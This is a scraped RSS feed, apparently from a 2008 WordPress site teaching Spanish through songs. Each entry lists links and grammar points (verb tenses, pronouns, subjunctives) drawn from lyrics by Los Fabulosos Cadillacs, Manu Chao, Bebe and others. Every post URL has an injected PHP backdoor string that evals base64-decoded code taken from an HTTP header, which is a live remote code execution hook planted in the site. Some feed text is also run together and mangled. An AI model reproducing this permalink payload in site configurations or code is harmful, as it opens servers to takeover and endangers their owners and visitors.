buenaspalabras.com http://buenaspalabras.com Tue, 21 Oct 2008 07:22:20 +0000 http://wordpress.org/?v=2.5.1 en © admin@buenaspalabras.com () admin@buenaspalabras.com() admin@buenaspalabras.com No no http://buenaspalabras.com/wp/wp-content/plugins/podpress/images/powered_by_podpress.jpg buenaspalabras.com http://buenaspalabras.com 144 144 Los Fabulosos Cadillacs - Manuel Santillán, El León http://buenaspalabras.com/2008/10/02/manuel-santillan-el-leon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/10/02/manuel-santillan-el-leon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Oct 2008 16:12:13 +0000 Geoff http://buenaspalabras.com/wp/?p=44
  • WATCH the video at YouTube
  • READ the lyrics
  • Los Fabulosos Cadillacs at iTunes
  • Los Fabulosos Cadillacs Official Site
  • Los Fabulosos Cadillacs at Wikipedia: English | Español
  • Los Fabulosos Cadillacs at Myspace

    • Podcast This song was chosen by Alejandro - listen to the podcast.

    Gramática
    contracción Van al mar (a+el)
    imperativo negativo nunca se olviden (olvidarse - ustedes)
    participio El leon está escondido (esconder)
    pasado imperfecto las palabras que eran del leon (ser - ellas)
    los oficiales que desconcertados miraban (mirar)
    pasado indefinido abandonaron la institucion (abandonar - ellos)
    el leon Santillan pronunció ( pronunciar - èl)
    Los oficiales que vieron (ver - ellos)
    murmuró llorando (murmurar - èl)
    y les dijo (decir - èl)
    pronombre directo la policia lo rodea (lo - èl)
    pronombre indirecto y les dijo (les - ellos)
    abre fuego y le da (le - èl)
    pronombre relativo y cuales eran (cuales)
    verbo irregular Van al mar (ir - ellos)
    ]]>     http://buenaspalabras.com/2008/10/02/manuel-santillan-el-leon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Alejandro, 18th August 2008 http://buenaspalabras.com/2008/10/02/alejandro-18th-august-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/10/02/alejandro-18th-august-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 02 Oct 2008 15:30:42 +0000 Geoff http://buenaspalabras.com/wp/?p=43 Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina.

    Chosen song: Manuel Santillán, El León by Los Fabulosos Cadillacs.

    Read the transcript…

    Listen:

    ]]>     http://buenaspalabras.com/2008/10/02/alejandro-18th-august-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 8:04 Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina. Chosen song: ... Lorenzo talks to Alejandro about his life in Barcelona and his reasons for moving there from his home town of Mendoza in Argentina. Chosen song: Manuel Santillaacute;n, El Leoacute;n by Los Fabulosos Cadillacs. Read the transcripthellip; Listen: Argentina,,Podcasts admin@buenaspalabras.com no No     Veinte años - Diego el Cigala con Bebo Valdés http://buenaspalabras.com/2008/08/18/veinte-anos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/18/veinte-anos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 18 Aug 2008 16:20:08 +0000 Geoff http://buenaspalabras.com/wp/?p=38
  • WATCH the video at YouTube
    (also Compay Segundo y Omara Portuondo version from Buena Vista Social Club)
  • READ the lyrics, including English translation
  • Diego el Cigala at iTunes +  (also ‘Bebo & Cigala’)
  • Diego el Cigala - Official Site
  • Diego el Cigala at Wikipedia: English | Español
  • Bebo Valdés at iTunes
  • Diego el Cigala - Official Site
  • Bebo Valdés at Wikipedia: English | Español
    • Gramática
    pasado indefinido fui la ilusión (ser - yo)
    subjuntivo qué te importa que te ame (amar - yo)
    subjuntivo imperfecto si las cosas … se pudieran alcanzar (poder - ellas)
    tú me quisieras lo mismo (querer - tù)
    ]]>     http://buenaspalabras.com/2008/08/18/veinte-anos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Tu recuerdo - Ricky Martin con La Mari de Chambao http://buenaspalabras.com/2008/08/18/tu-recuerdo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/18/tu-recuerdo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 18 Aug 2008 15:57:47 +0000 Geoff http://buenaspalabras.com/wp/?p=36
  • WATCH the video at YouTube or Daily Motion
  • READ the lyrics
  • An English translation
  • Ricky Martin at iTunes
  • Ricky Martin - Official Site
  • Ricky Martin at Wikipedia: English | Español
  • La Mari at Wikipedia: Español

    • Related: Chambao, Ahi estás tú

    Gramática
    contracción al corazón (a + el)
    del lugar (de + el)
    diminutivo velita (vela)
    imperativo piensa en mí (pensar)
    imperativo negativo no dejes de pensar en mí (dejar - tù)
    participio atrapado (atrapar)
    pasado indefinido me fui (irse - yo)
    puse una velita (poner - yo)
    tú te fuiste (irse - tù)
    plural irregular veces (vez)
    pronombre directo te tengo que olvidar (te)
    pronombre indirecto pero yo le puse una velita (le)
    pronombre relativo no sé lo que pensar (lo que)
    subjuntivo para que pienses (pensar - tù)
    verbo irregular me quieren matar (querer - ellos)
    sé que te tengo que olvidar (saber - yo)
    siento (sentir - yo)
    tengo (tener - yo)
    tu recuerdo sigue aquí (seguir)
    va (ir - èl)
    viene (venir - èl)
    verbo reflexivo tu recuerdo no se va (irse)
    ]]>     http://buenaspalabras.com/2008/08/18/tu-recuerdo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Sin documentos - Los Rodriguez http://buenaspalabras.com/2008/08/18/sin-documentos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/18/sin-documentos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 18 Aug 2008 15:48:59 +0000 Geoff http://buenaspalabras.com/wp/?p=35
  • WATCH the video at YouTube
  • READ the lyrics
  • An English translation
  • Los Rodriguez at iTunes
  • Los Rodriguez  at Wikipedia: English | Español

    • Related… former band member Andrés Calamaro’s solo single Flaca.

    Gramática
    con + pronombre contigo (tigo)
    condicional estaría (estar)
    futuro lo haré (hacer - yo)
    vendré (venir - yo)
    gerundio bebiendo (beber)
    imperativo déja(me) (dejar - tù)
    pasado indefinido tuvimos (tener - nosotros)
    subjuntivo déjame que te cierre los ojos (cerrar - yo)
    quiero ser el único que te muerda (morder)
    ]]>     http://buenaspalabras.com/2008/08/18/sin-documentos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Si tú no vuelves - Miguel Bosè con Shakira http://buenaspalabras.com/2008/08/12/si-tu-no-vuelves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/12/si-tu-no-vuelves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 12 Aug 2008 19:13:25 +0000 Geoff http://buenaspalabras.com/wp/?p=34
  • WATCH the video at YouTube
  • READ the lyrics
  • An English translation
  • Miguel Bosè at iTunes
  • Miguel Bosè - Official Site
  • Miguel Bosè at Wikipedia: English | Español
  • Shakira at iTunes
  • Shakira - Official Site
  • Shakira  at Wikipedia: English | Español
    • Gramática
    futuro cada noche vendrá una estrella (venir)
    caminaré sin tí (caminar - yo)
    escucharé por si (escuchar - yo)
    esperaré (esperar - yo)
    lo que haré (hacer - yo)
    me quedaré aquí (quedarse - yo)
    mi voluntad se hará pequeña (hacerse)
    no habrá esperanza (haber)
    no habrá vida (haber)
    no quedarán más que desiertos (quedar)
    se secarán todos los mares (secarse - ellos)
    gerundio bebiendo (beber)
    espiando (espiar)
    imperativo di(me) amor (decir - tù)
    participio tapiado (tapiar)
    pasado imperfecto cuando me querías (querer - tù)
    habia un perfume (haber)
    no tenía fin (tener)
    que era tan serena (ser)
    que yo respiraba (respirar - yo)
    pronombre personal sin ti
    subjuntivo que te cuente cómo estoy (contar - yo)
    que…sepas lo que hay (saber - tù)
    unión de palabras u oraciones negativas no habrá esperanza ni habrá nada (no … ni)
    uso de ‘por’ y escucharé por si algún latido le queda
    verbo irregular no sé (saber - yo)
    vuelves (volver - tù)
    ]]>     http://buenaspalabras.com/2008/08/12/si-tu-no-vuelves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Noches de boda - Joaquín Sabina http://buenaspalabras.com/2008/08/12/noches-de-boda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/12/noches-de-boda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 12 Aug 2008 19:04:10 +0000 Geoff http://buenaspalabras.com/wp/?p=33
  • WATCH the video at YouTube
  • READ the lyrics
  • Joaquín Sabina at iTunes
  • Joaquín Sabina - Official Site
  • Joaquín Sabina at Wikipedia: English | Español
    • Gramática
    subjuntivo que se mueran (morir)
    no se ocupe (ocupar)
    que detenga (detener)
    que doren (dorar)
    que gane (ganar)
    que no cierren (cerrar)
    que no compren (comprar)
    que no cuenten (contar)
    que no duerman (dormir)
    que no lastre (lastrar)
    que no se ponga (poner)
    que no te den (dar)
    que no tengan (tener)
    que no valga (valer)
    que no vendan (vender)
    que no venga (venir)
    que nunca sepas (saber)
    que parezcan (parecer)
    que se pase (pasar)
    que se ponga (poner)
    que sea (ser)
    que te aproveche (aprovechar)
    que te doren (dorar)
    que te pille (pillar)
    que todas sean (ser)
    ]]>     http://buenaspalabras.com/2008/08/12/noches-de-boda/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Me gustas tu - Manu Chao http://buenaspalabras.com/2008/08/12/me-gustas-tu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/12/me-gustas-tu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 12 Aug 2008 19:01:11 +0000 Geoff http://buenaspalabras.com/wp/?p=32
  • WATCH the video at YouTube
  • READ the lyrics
  • An English translation
  • Manu Chao at iTunes
  • Manu Chao - Official Site
  • Manu Chao at Wikipedia: English | Español
    • Gramática
    gustar y verbos similares me gusta el viento
    me gusta la mañana
    me gusta soñar
    me gusta viajar
    me gustan los aviones
    me gustas tu
    ]]>     http://buenaspalabras.com/2008/08/12/me-gustas-tu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     Malo - Bebe http://buenaspalabras.com/2008/08/12/malo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/12/malo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 12 Aug 2008 18:56:26 +0000 Geoff http://buenaspalabras.com/wp/?p=31
  • WATCH the video at Daily Motion
  • READ the lyrics
  • An English translation
  • Bebe at iTunes
  • Bebe - Official Site
  • Bebe at Wikipedia: English | Español
    • Gramática
    diminutivo carita (cara)
    cigarrito (cigarrillo)
    corazoncito (corazon)
    deditos (dedos)
    lagrimitas (lagrimas)
    penita (pena)
    futuro saldrá
    el valor    		 (salir)
    gerundio comiendo (comer)
    imperativo negativo no grites (gritar - tù)
    no me chilles (chillar - tù)
    no te pienses mejor que las mujeres (pensar - tù)
    pasado imperfecto cruzaba (cruzar - yo)
    el miedo ya me recorría (recorrer)
    pasado indefinido apareciste (aparecer - tù)
    pronombre directo (la penita…) yo me la tengo que tragar (la)
    (tu carita…) se la ha ido comiendo (la)
    pronombre indefinido no se daña quien se quiere (quien)
    no te pienses mejor que yo ni que nadie (nadie)
    pronombre indirecto y te echo el humo en el corazoncito (te)
    unión de palabras u oraciones
    negativas    		 no te pienses mejor que yo ni que nadie. (no…ni)
    verbo irregular dices (decir - tù)
    duermen (dormir - ellos)
    verbo reflexivo cuando te vas (irse - tù)
    ]]>     http://buenaspalabras.com/2008/08/12/malo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/     La magdalena - Quijano http://buenaspalabras.com/2008/08/12/la-magdalena/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://buenaspalabras.com/2008/08/12/la-magdalena/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 12 Aug 2008 18:41:19 +0000 Geoff http://buenaspalabras.com/wp/?p=30
  • WATCH the video at YouTube
  • READ the lyrics
  • Quijano (+Cafe Quijano) at iTunes
  • Manuel Quijano - Official Site
    • Gramática
    énfasis de la ausencia no hay ni uno
    imperativo déjate de decir (dejarse - tù)
    haz(me caso) (hacer - tù)
    plural irregular peces (pez)
    pronombre directo él no te quiere (te)
    le quieres a él (le)
    y no te miento (te)
    subjuntivo no hay ni uno solo solo que no falle (fallar)
    unión de palabras u oraciones
    negativas    		 no paras de llorar ni comes (no/ni)
    uso de ‘por’ por culpa de ese hombre
    si no es por una cosa
    verbo irregular cuentan (contar - ellos)
    se encuentran (encontrarse - ellos)
    te vistes. (vestirse - tù)
    vas (ir - tù)
    y no te miento. (mentir)
    verbo reflexivo te lavas (lavarse - tù)
    te vistes (vestirse - tù)
    ]]>     http://buenaspalabras.com/2008/08/12/la-magdalena/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/